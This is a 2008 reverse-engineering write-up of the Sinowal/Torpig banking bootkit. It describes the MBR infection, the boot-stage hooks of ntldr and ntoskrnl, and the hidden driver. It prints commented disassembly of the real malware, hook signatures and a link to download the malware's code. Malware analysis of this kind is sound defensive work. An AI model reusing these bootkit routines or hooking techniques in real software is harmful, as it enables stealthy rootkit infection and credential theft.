Here is your answer
http://web17.webbpro.de/index.php/analysis-of-sinowal Analysis of Sinowal Abstract
In my fourth paper I want to present my analysis work of the Sinowal Bootkit. I will discuss and explain how Sinowal works, what it does and where it comes from. The analysis work represented here was done weeks ago for Ikarus Security Software. Sinowal (also known as Torpig) is a new phising trojan with occurence over 300.000 times in the world. Enjoy reading!
- Peter Kleissner, Software Engineer (October 2008)
Sinowal
Sinowal is a new rootkit and login- phishing and logging trojan. At runtime it does not log only any password (whether pop3 email, netbanking or amazon customer login) but also provides phishing capabilities in Internet Explorer. It is written by people from the Russian Business Network (RBN), and this is my special interest to publish their source code here. Sinowal can be considered as Bootkit + Trojan/phishing. It comes with a single infector file, but later acting via various parts settled down in the system. It's also notable that there are different versions existing, newer ones will have more "features". I'll explain everything in detail later.
Infector File
Sinowal is spread around the world via one single infector file. I guess it's shipped in spam mails until this is one main part of the Russian Business Network. The infector file of Sinowal is 407 KB big (417.368 Bytes), but there are also other versions with different file sizes existing. It is very interesting that when executing the infector file its really infector code is executed at time 18 minutes and 45 seconds and not at the very beginning. 40 minutes after starting the infector file, it will terminate itself and execute itself in another process further. Then, 2 minutes later at 42:05, it will infect the machine and starts a restart of the machine within a second.
The time table what Sinowal Infector File does at time:
00:11Execution of Infector File starts00:19Process delays execution08:43Investigation of target (local) machine starts, loading system dlls, functions, registry values18:45Infecting the machine, writing itself low-level (sector based) to any \??\RealHardDiskN and \??\PhysicalDriveN it finds40:23Execution continues in another process/file, but in same context42:05Last infector operations42:06Executing a Windows System Restart
The infector creates and uses various files. It is very interesting any Sinowal version I investigated creates the file "C:\NeverFile25615". At instruction 34, the infector file gets the environment variable L"NeverVar25615" from system, most probably to terminate itself if the system is already infected.
During the execution of the infector, the infector itself copies into the user temp directory, executes the created file and deletes the old one. This is standard process control execution obfuscation. The new file will be named somewhat "n.tmp" with n to be a number, I have seen "2B.tmp", "13.tmp", "16.tmp".
The original infector file looks like a normal file, no cryptic imports or headers. It imports just statically following functions from Kernel32.dll:
SleepVirtualAllocVirtualFreeVirtualProtectLoadLibraryAGetProcAddressCreateFileAWriteFileGetEnvironmentVariableWThe first thing I see is that there is no import for CloseHandle function, which leads me to say that this is filthy written code. Second to say, the infector file gets much more function addresses of different dlls at runtime.
Now the interesting part starts, the infection. As mentioned previously, the infector file infects the computers hard disks low-level sector based. It uses the common used WriteFile interface for writing the sectors onto hard disk. Now everything is going to be VERY complex. The infection at static, the infection at runtime, the copying, the movements. I will start with an overview of the whole process and go into detail later.
Sinowal is a Bootkit, which means it overwrites the Master Boot Record and later then hooks and bypasses every Windows System function. So, the first thing Sinowal for infection does is, to read the Master Boot Record and copying the Partition Table from it. Then it takes its own Master Boot Record, which is included in the infector binary file, and copies the new Partition Table into it. But not only the Partition Table should be preserved, also the Microsofts original Master Boot Record. For this, the infector copies the first sector of the original Master Boot Record into the last sector of the new malicious Boot Record. Then it's ready to write the new malicious Master Boot Record to disk. The functions and parts of the new malicious Master Boot Record will be discussed later.
Money is not the total, so infecting just a Master Boot Record is not enough, it's just the at-runtime infecting/hooking part but not the executive. Sinowal copies also a malicious kernel driver onto the disk, at the end of the disk, offset is ~ -10 MB from end. This is the place where no partition is, the space is and should be reserved, Microsoft Software will never allow it to be used by any partition. This hidden 10 MB contain some Microsoft -only information and system restore information.
That's it! That is the execution of the Sinowals infector file.
Runtime Execution of Sinowal
The runtime execution of Sinowal is in detail not easy to describe. For this, I use "stages" for describing the stage of the executed bootkit code. Summarised, Sinowal exists now of the malicious Master Boot Record and the malicious Kernel Driver at end of the hard disk. I describe Sinowal in following stages (not the completed list):
Stage 1Master Boot Record, first sector of disk is executed
located in disk.sector0, memory.7C00h
loaded and executed by BIOSStage 2further hook module
disk.sector60 [code], disk.sector61 [code/data], memory.9F600h, memory.9F800h (located at end of Real Mode Memory)
executed by ntldr hook, loaded by Stage 1 codeKernel Files Stage 3memory.9f800, disk.sector 61, executed at address 806cde00, directly after ntoskrnl, executed by ntoskrnl hook, loaded and relocated by Stage 2 codeStage 4 Hook Code81066630 +, system memory allocated dynamically
here debugging and reverse engineering stops; => CALL FOR KERNEL DEBUGGERdriver code, stage 5location unpredictable; called by ntoskrnl function return code; unpredictable caller; this is the last codeStage 6, Executablethe driver at end of disk will be executed by stage 5 code; unknown location
It's really hard to describe the whole process (even in overview), because the thing copies and relocates itself a couple of times. Above table shows just the basic procedure, in fact it's more complicated. The thing is hooks everything at runtime and must ensure it will be loaded during important system changes, during Protected Mode switch or execution control flow pass to kernel. For making this possible it has to hook following system startup files:
- Interrupt 13 "Read Sectors" function must be hooked to detect the loading of ntldr (which is loaded by Microsofts Bootsector)
- ntldr must be hooked to get control again in Protected Mode later
- in protected mode ntoskrnl must be hooked to get control in working Windows Environment
- driver memory must be assigned, driver must be executed
The memory map of the malicious Master Boot Record:
Sector 0: Size: 512 Bytes Contains malicious boot code which does some init stuff and hooks int 13h. Relocates itself to end of Real Mode Memory (~ 1 MB). Contains also code to hook ntldr and to read sector 60 and sector 61 into memory. Loads original Bootloader from sector 62 and executes it. Offset 1B5h: 3 bytes for language message descriptions [unused] Offset 440: Microsofts Disk Signature Offset 1BEh: Partition Table Offset 510: Boot SignatureSector 60: Size: 512 Bytes Contains malicious code which is executed by ntldr hook. The code is now executed in Protected Mode, and does just hooks ntoskrnl and copies sector 61 directly to after ntoskrnl.Sector 61: Size: 512 Bytes Contains malicious Kernel Code which is executed by ntoskrnl hook. Copies itself to dynamic allocated driver memory. Reads and executes the malicious driver from end of disk. After execution, deletes malicious driver from memory, and itself from memory. Gives control finally back to Windows Kernel.Sector 62: Size: 512 Bytes Microsofts original Master Boot Record (the first sector of it), a copy for executing it on startup for perfect stealth.All other sectors remain zero.Total size of Master Boot Record: 63 sectors, 7E00h Bytes
Bootloader
7C00h. This is the initial address of Sinowal, of its Bootloader (the first sector of the Master Boot Record). The BIOS loads the Bootloader after POST (Power On Self Test) and some init stuff into memory and executes it. The first sector is (like every sector) 512 bytes big and contains beside the boot code also the Partition Table. The very first lines of the bootloader are doing what every bootloader does - some init stuff (setting registers, stack pointer etc.).
Because the bootloader loads later the Microsoft original bootloader, there would be a conflict in addresses (Microsofts bootloader also expects to be loaded on address 7C00h). To resolve this conflict, is the bootloader copied into end of memory, and the end of memory is returned via a variable from the BIOS Memory Area:
; copy itself to end of memory00000011 8EDB mov ds,bx00000013 BE1304 mov si,0x413 ; address of MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES00000016 832C02 sub word [si],byte +0x2 ; - 2048 kbytes, 4 sectors00000019 AD lodsw0000001A C1E006 shl ax,0x60000001D 8EC0 mov es,ax ; es = address of free memory (2048 bytes)0000001F BE007C mov si,0x7c0000000022 33FF xor di,di00000024 B90001 mov cx,0x100 ; copy 512 bytes00000027 F3A5 rep movswThe next thing done is to load sector 60 and sector 61 from disk. Then code copied from eEye rootkit hooks Interrupt 13h by overwriting the segment

ffset address in IVT (Interrupt Vector Table) for the corresponding vector:
; hook int 13h00000035 33DB xor bx,bx00000037 90 nop00000038 90 nop00000039 90 nop0000003A 668B474C mov eax,[bx+0x4c] ; IVT, Vector 130000003E C7474C6900 mov word [bx+0x4c],0x69 ; at address 0x69, 10500000043 6626A37600 mov [es:0x76],eax ; patch old IVT vector directly into jmp of our IVT hook (save old vector)00000048 8C474E mov [bx+0x4e],es ; set int 13 segment0000004B 06 push es0000004C 685000 push word offset Copy0000004F CB retf ; jump to copy!After hooking Interrupt 13, the code reads the original Master Boot Record of Microsoft Windows to address 7C00h (remember the code doing this is now at end of Real Mode memory). Code of the bootloader is later executed by the int 13h hook, when Microsoft wants to read sectors:
; now our background "service" starts, we get control only by int 13; this (executed) binary is located at memory.9f400h, disk.sector0Interrupt_Vector_13_hook:00000069 9C pushfw ; Interrupt Vector 13 hook0000006A 80FC42 cmp ah,0x420000006D 740B jz Handle_Int13 ; lets hook extended read...0000006F 80FC02 cmp ah,0x200000072 7406 jz Handle_Int13 ; ...or read!00000074 9D popfw00000075 EA00000000 jmp word 0x0:0x0 ; jump to original IVTHandle_Int13:; execute int 13h read0000007A 2E88269300 mov [cs:0x93],ah ; store function number (patch)0000007F 9D popfw00000080 9C pushfw ; simulate "int 13h" instruction (store flags)00000081 2EFF1E7600 call word far [cs:0x76] ; READ sector (forward) but return here00000086 0F829E00 jc word Exit_Int13_hook_ret ; if error => exit to user; set environment for int 13h hook handler0000008A 9C pushfw0000008B FA cli0000008C 06 push es0000008D 6660 pushad ; push register contents, we modify it in our hook handler0000008F FC cld; load int 13h parameters set by user (and note normalize the param differences between normal read and extended read)00000090 B400 mov ah,0x0 ; transfered sectors (read: al, extended read: disk address packet.02h)00000092 B500 mov ch,0x0 ; restore function number (from the patch applied at @7A)00000094 80FD42 cmp ch,0x42 ; if extended read special load values00000097 7504 jnz Int_Params_normalizedExtended_Read_set_Disk_Address_Packet:00000099 AD lodsw ; load values from disk address packet0000009A AD lodsw ; +02h = [word] number of blocks to transfer0000009B C41C les bx,[si] ; +04h = transfer bufferInt_Params_normalized:0000009D 85C0 test ax,ax ; ax = number of sectors transfered0000009F 7501 jnz Int_Params_SectorCount_set000000A1 40 inc ax ; sector count = minimum 1Int_Params_SectorCount_set:This is the main int 13 hook code, you'll find it in a less documented way in eEye bootkit and in bootkit as well as vbootkit from Nitin and Vipin Kumar. Then the code for checking the read buffer for ntldr and infecting it is executed. The code checks for a special signature; if it appears in the read buffer, some bytes will be modified to a jump into code of sector 60. Additionally, a modification on ntldr in memory is done in order to bypass code integrity verification.
Alltogether the jobs of Sector 0 are simple to list:
- Initialize registers
- Copying itself to end of memory
- Reading further virus data, sector 60 and sector 61
- Hooking Interrupt 13
- Loading original Microsoft MBR from sector 62 to address 7C00h and execute it
- Int Interrupt 13 hook, check if function is Read Sectors or is Extended Read Sectors, execute request
- Check read buffer for ntldr, to inject jump code to sector 60
- Check read buffer for ntldr, to overwrite code integrity verification code with nops
Sector 60
Sector 60 is the next piece of code. It is executed by the ntldr hook in Protected Mode. In memory it is located at address 9F600h and loaded by Sector 0. The first 16 MB are in Windows the same virtual as physical (so the first MB in Protected Mode with Paging is equal to the one in Real Mode). The first thing to do is to simulate the original code that was overwritten with the hook. Then ntldr will be scanned for a signature, to extract the base address of ntoskrnl. Ntoskrnl will be scanned for a code pattern and the address stored for later hooking. Now Sector 61 comes into play, the code of Sector 61 will be corrected with calling address and ntoskrnl module address. Sector 61 will be copied directly after ntoskrnl, and ntoskrnl will be hooked to jump to Sector 61 later.
Sector 61
Sector 61 is the really interesting part. This is now true Kernel Code, executed by the Windows Kernel ntoskrnl.exe. This code resists directly after ntoskrnl and is copied there to by sector 60. One of the first things the code this is to probe the Write-Protect flag in CR0, which can be considered as bug:
; probe flag cr0.Write Protect (clear it, to allow writing into read-only user pages)00000010 0F20C0 mov eax,cr0 ; store cr000000013 50 push eax00000014 25FFFFFEFF and eax,0xfffeffff00000019 0F22C0 mov cr0,eax ; probe cr0.WP (bit 16) - cause it's set in Windows0000001C 2BCA sub ecx,edx ; calculate back original target call near RELATIVE address (00001459)0000001E 58 pop eax0000001F 0F22C0 mov cr0,eax ; restore cr0 ..why?This shows us one time more the code has been
COPIED. It doesn't make any sense to probe this flag, only to set or to clear it.
It may be interesting for you to see how this bare assembler written kernel code calls Windows API and uses its interface:
; retrieve function address of ntoskrnl.ExAllocatePool00000022 FF3424 push dword [esp] ; module address of ntoskrnl (= 0x804d7000)00000025 6862E00737 push dword 0x3707e062 ; function name as CRC (it is "ExAllocatePool\0")0000002A E83B000000 call dword Get_Dll_Function_Address0000002F 59 pop ecx ; correct stack00000030 59 pop ecx; ntoskrnl.ExAllocatePool(type 0, 427 bytes);00000031 68AB010000 push dword Total_End_of_Binary - Stage_4_hook_code00000036 6A00 push 000000038 FFD0 call eax ; return = 81066630With the code above the function address of ExAllocatePool is returned. ExAllocatePool is used to allocated driver memory. After allocation, the code copies itself to this dynamic allocated memory. The code executed from this memory is treated as stage 4 code in my disposition. And here we stop with normal analysis methods (described later with the blue screen appearing). Even these lines are just 9 code lines, stage 5 starts immediately after them, when returning from kernels original call simulation (we call the function that would be called if we wouldn't have hooked the call).
Between stage 4 and stage 5 code in Sector 61 we have also the Get_Dll_Function_Address function (which is also stolen):
Get_Dll_Function_Address:; Input:; Param 1 Function Name CRC; Param 2 Base Address of Module to search for Export; Output:; EAX = Function Address (NULL if not found); preserves register contents0000006A 60 pushad0000006B 8B6C2428 mov ebp,[esp+0x28] ; base address of module (param 2)0000006F 8B453C mov eax,[ebp+0x3c] ; PE Header00000072 8B540578 mov edx,[ebp+eax+0x78] ; access to Export Table00000076 03D5 add edx,ebp ; absolute pointer to Export Table00000078 8B4A18 mov ecx,[edx+0x18] ; ecx = Number of Name Pointers (count of exports)0000007B 8B5A20 mov ebx,[edx+0x20] ; ebx = Name Pointer RVA0000007E 03DD add ebx,ebp ; absolute pointer to Export Name PointersFind_Dll_Export_loop:00000080 E332 jecxz Dll_Function_not_found ; if no export left exit00000082 49 dec ecx ; next one00000083 8B348B mov esi,[ebx+ecx*4] ; get the function name of the next function00000086 03F5 add esi,ebp ; absolute address00000088 33FF xor edi,edi ; edi stores our calculated CRC0000008A FC cld; check the Dll function name (generate CRC)Get_Dll_Name_CRC:0000008B 33C0 xor eax,eax0000008D AC lodsb ; inside a dll export, like "wctomb\0" (and others)0000008E 3AC4 cmp al,ah ; zero terminated string00000090 7407 jz Get_Dll_Name_CRC_generated00000092 C1CF0D ror edi,0xd ; VERY ODD WAY for finding specific dll entry00000095 03F8 add edi,eax ; something like a CRC00000097 EBF2 jmp short Get_Dll_Name_CRCGet_Dll_Name_CRC_generated:00000099 3B7C2424 cmp edi,[esp+0x24] ; now compare calculated CRC and input CRC0000009D 75E1 jnz Find_Dll_Export_loop ; if not found => check next export; set up addresses0000009F 8B5A24 mov ebx,[edx+0x24] ; Export Table.Ordinal Table RVA000000A2 03DD add ebx,ebp ; (absolute pointer)000000A4 668B0C4B mov cx,[ebx+ecx*2] ; -> Ordinal Number (needed for Address Table); *** PROGRAMMING ERROR ***; ** CX SET BUT ECX LATER USED, USE MOVZ ecx,word [ebx+ecx*2], CONSIDER THE HIGH WORD **000000A8 8B5A1C mov ebx,[edx+0x1c] ; Export Table.Export Address Table RVA000000AB 03DD add ebx,ebp ; (absolute pointer)000000AD 8B048B mov eax,[ebx+ecx*4] ; -> Function Address000000B0 03C5 add eax,ebp ; (absolute pointer)000000B2 EB02 jmp short Dll_Function_Address_setDll_Function_not_found:000000B4 33C0 xor eax,eax ; error, return zeroDll_Function_Address_set:000000B6 8944241C mov [esp+0x1c],eax ; patch the value to be in eax000000BA 61 popad000000BB C3 retI don't want to spam around with source code, so here's the function list that is later executed:
ntoskrnl.NtOpenFile(&FileHandle, GENERIC_READ | SYNCHRONIZE, &ObjectAttributes, &IoStatusBlock, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT) opens handle to \??\PhysicalDrive0ntoskrnl.ExAllocatePool(type 0, 0x58600); to retrieve buffer for driver filentoskrnl.NtReadFile(FileHandle, NULL, NULL, NULL, &IoStatusBlock, Buffer, Length, ByteOffset, 0); read driver from end of partitionntoskrnl.NtClose(FileHandle); unlike the infector file we close opened handlesntoskrnl.ExAllocatePool(type 0, SizeOfImage); get memory for the driver file we will execute later... we copy and relocate the driver filentoskrnl.ExFreePool(File Buffer); we give free the read buffer used for NtReadFileDriverEntry( we execute "Banken Virus"... we erase "Banken Virus" in memoryntoskrnl.ExFreePool("Banken Virus" memory); we give free "Banken Virus" memory (where driver resisted)...we delete stage 4 and stage 5 code... ...and that's it!
Affected Systems
Only Windows XP operating systems are affected, because of the file dependencies of Sinowal. Sinowal includes statically signatures to find the respective code to hook in system files; they are static and may not be found in different file versions. Sinowal has following file dependencies:
- Master Boot Record to be just one sector big
- ntldr
- ntoskrnl
- memory directly after ntoskrnl in memory to be free
- Partition Table may not be changed
If the Bootloader in the previous Master Boot Record uses more than one sector the system will hang on startup, because original MBR can't load it's code and data and will fail fatal. If ntldr or ntosrknl doesn't fit versions required for the hook process you have luck and your system will not be affected at runtime. For this time, I recommend Windows Vista, it's more secure than previous versions.
Further, the infection code checks on startup for following signatures:
Signature: 8B F0 85 F6 74 21/22 80 3DTo be in: ntldrIs at offset: +26B9FhSignature: 83 C4 02 E9 00 00 E9 FD FFTo be in: ntldrIs at offset: +1C81h, +1C9ChSignature: C7 46 34 00 40 ... A1To be in: ntldrIs at offset: +19A44h, and A1 located at +19A51hCode pattern scanned ntoskrnl for: ++ 6A 4B 6A 19 89/E8 ?? ?? ?? ?? ?? ?? E8/?? ==> @ntoskrnl.1CE87E0h ==> memory.0x80683ec9 ++ E8 ?? ?? ?? ?? 84 C0 ==> @ntoskrnl.1CE87F3h ==> @ntoskrnl.1CE87F8h ==> memory.0x80683ed8 ==> memory.0x80683EDD(??... means any value, /... means second choice for positive match)Note the offsets in file may differ with Service Packs, the code looks from the beginning to the end of the file for the corresponding signature. The check in ntoskrnl is more a code pattern rather than a signature.
It is difficult to list the banks affected with specific written phishing code included in Sinowal, for me ensured are some UK banks, Volksbank and other german banks. You can see a general list (affected via spam + phishing) in the
The Russian Business Network: Rise and Fall of a Criminal ISP document of VeriSign on page 21. Note that ANY other bank is affected via logging feature of Sinowal (which records not only online banking login, but also bank transmissions etc.).
Programming Errors in Sinowal
I encountered various bugs in Sinowal:
- Sector 0, at address F9h: assumption is made that ntldr is not loaded at once; pointer to data for disabling bypassing code verification is not resetted
- Sector 61, at address 85h: total size of image is taken wrong; this could lead to overwrite ntoskrnl and cause a system crash
- Sector 62, at address 1Fh: cr0 is misleadingly restored, this code was copied (should disable Write Protect flag)
- Sector 62, at address 48h: the calculation done for size of stage 4 + 5 code is done very wrong, programmer has luck the calculation copies few more bytes rather then less
- Sector 62, at address A4h: when getting ordinal number in Get_Dll_Function_Address, high word of ecx is not set but used
This shows us Sinowal is just a copy.
Behind the Scenes: Directory listing of the Sinowal analysis
I want also talk about behind the scenes, how to analyse such a malware. Here is the directory listing of the analysis directory (code name "Boot Analysis of 2B.tmp"), total size: 8.641.744.896 Bytes (8 GB):
│ anubis.ourinterest.log│ Bochs Boot Emulation.rar│ Festplatte 2│├───2B.tmp_│ 2B.tmp_│ log.txt│ tmp│├───anubis│ anubis.log│├───Bochs Boot Emulation│ └───debug│ │ BIOS│ │ BIOS graka│ │ bochsrc.bxrc│ │ debug.bat│ │ debugger.out│ │ logfile.txt│ │ run.bat│ ││ └───images│ bximage.exe│ image-basic-boot.img│ image.img│├───Boot Files Stage 2│ 0009f600.asm│ 0009f600.fromMBR.bin│ 0009f600.memorydump.asm│ 0009f600.memorydump.bin│ 0009f600.memorydump.bin.txt│ info.txt│ ntldr│ ntoskrnl.exe│├───Boot-stuff new│ Bootloader.bin│ MBR.bin│ MBR.firstsector.bin│ ntldr│ sector0.asm│├───Boot-stuff old│ Bootloader.bin│ MBR.bin│├───Kernel Files Stage 3│ 0009f800.asm│ 0009f800.fromMBR.bin│ 0009f800.memorydump.bin│ 0009f800.memorydump.bin.txt│ blue screen.png│ ndisasm.exe│ ntoskrnl.exe│ Stage 4.asm│ Stage5.asm│└───Stage 6, Executable CutPartition.ex_ CutPartition.rar CutPartition.zip
Behind the Scenes: Blue-Screen during analysis
As mentioned previously and in the Sinowal Source Code in 0009f800.asm on line 94 the simulation crashes before executing the last part of the code. The blue screen appearing is caused by different hardware of my bochs simulation with the infected image file.
; the function should return here; this ****ty little thing should return here but bochs stops here with simulation support; UNPREDICTABLE STACK RETURN VALUES; ==> Windows crashes, blue screen (restart); =====> CALL FOR KERNEL DEBUGGER00000060 59 pop ecx ; return address00000061 5A pop edx ; UNPREDICTABLE VALUE00000062 60 pushad ; restore registers then at end00000063 87CD xchg ecx,ebp ; set ebp to module address we'll use later00000065 E852000000 call dword Stage_5_hook_code ; => Kernel 5
So the pretty neat simulation possibility stopped at line 92, but the very interesting part was left, just about 100 code lines. I had no time for making a likes-bochs Windows infected image but needed the analysis of the lines for the report, so I used a trick. I managed it to simulate a back Kernel call to Stage_5_hook_code, and could continue with my analysis (it was evening btw.). As you see in the source the whole further functions have been exposed, but some few things remain unclear, for example where the back kernel call is coming from and with what a value passed on stack. You have to leave some things open and continue; the spaces will be closed later automatically.
The whole reverse engineering was a lot of work but cool work. When I come to the end everything was clearer and clearer and it was even more interesting for me to explore these things. The most coolest thing was the end lines of the bootkit which started the driver. It's incredible what we can do today with software.
Behind the Scenes: Anubis log
Someone may be interested in where I get all my information. To understand the mechanism of Sinowal (for me) it's far not enough to just disassemble and reverse engineer the binary. Any information gathered is useful and important and makes a clear general view. I'm sorry I can't publish here the full Anubis log, but here is an extract of them:
00:18:45.673248 C V "2B.tmp" 1 1 WriteFile(hFile: 52, lpBuffer: "MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00\xB8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00...", nNumberOfBytesToWrite: 361984, lpNumberOfBytesWritten: NULL, lpOverlapped: NULL)00:18:45.690771 C V "2B.tmp" 1 1 NtWriteFile(FileHandle: **<28976;NtCreateFile;FileHandle>: 4** 52, Event: 0, ApcRoutine: 0, ApcContext: 0, IoStatusBlock: NULL, Buffer: "MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00\xB8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00...", Length: 361984, ByteOffset: NULL, Key: NULL)00:18:45.709842 R V "2B.tmp" 1 1 NtWriteFile(FileHandle: 52, Event: 0, ApcRoutine: 0, ApcContext: 0, IoStatusBlock: **58756587605876458768** 0x9c4ec90, Buffer: "MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00\xB8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00...", Length: 361984, ByteOffset: NULL, Key: NULL): **58772** 000:18:45.710250 R V "2B.tmp" 1 1 WriteFile(hFile: 52, lpBuffer: "MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00\xB8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00...", nNumberOfBytesToWrite: 361984, lpNumberOfBytesWritten: 0x9d48a50, lpOverlapped: NULL): 1Okay, this looks terrible but copy the lines into notepad and then you see what I see! These lines are the most interesting part of the log, at time 18:45 the infector file stores via WriteFile to handle 52 (previously opened PhysicalDrive) some content. And the content starts with "MZ", which is the initial signature for Portable Executable files. This is the driver written to the end of the hard disk, and we see here a sector based write operation.
Behind the Scenes: Simulation Environment
To reverse engineer and to understand everything of Sinowal, I created a simulation environment consisting of the bochs simulator and an infected image file. The image file is 4 GB big and contains a Windows XP SP2 installation. I took all other simulation files from my previous project ToasterOS (from which I published one-click simulation packages).
When I started the simulation, I just took the whole ToasterOS debug simulation directory and just copied the first 63 sectors from the infected hard disk onto the beginning of the binary 10 MB big image. This worked fine, I could reverse engineer the first sector until Microsoft startup files were necessary.
Behind the Scenes: Reverse Engineering
People may also be interested in how I came to the code of Sinowal. One main tool I used is Netwide Disassembler. With that tool I got the raw code of the various sectors and parts. The other tool I used was the Simulation Environment described above. Only both together made the reverse engineering and this analysis possible. It is also important to know that nothing fell from the sky; I had to interpret every assembler line, I had to comment and label every piece of code.
Conclusion
It's time to come to a conclusion. Everything seems now a bit disappointing to me; the second main part of Sinowal (runtime hook code) is just a stolen code from other projects. Sinowal works only on Windows XP machines, not on Windows Vista. Sinowal is good and bad but just a bit sophisticated, there are too many conditions making it not working any more. Just change your Partition Size, move some Partition or change active partition and guess what will happen. Anyway I will continue with analysis of the driver which was not discussed here.
Read the sequel of this article under
Advanced Analysis of Sinowal.
Downloads
Download the Sinowal Source Code at
http://www.viennacomputerproducts.com/downloads/Sinowal Article/Sinowal Source Code.zip.
The code was written by people connected to the Russian Business Network. The reverse engineering was done by me, Peter Kleissner. The terms of the
ToasterOS license apply for the provided code.
ReferencesSpecial thanks to Volksbank Austria.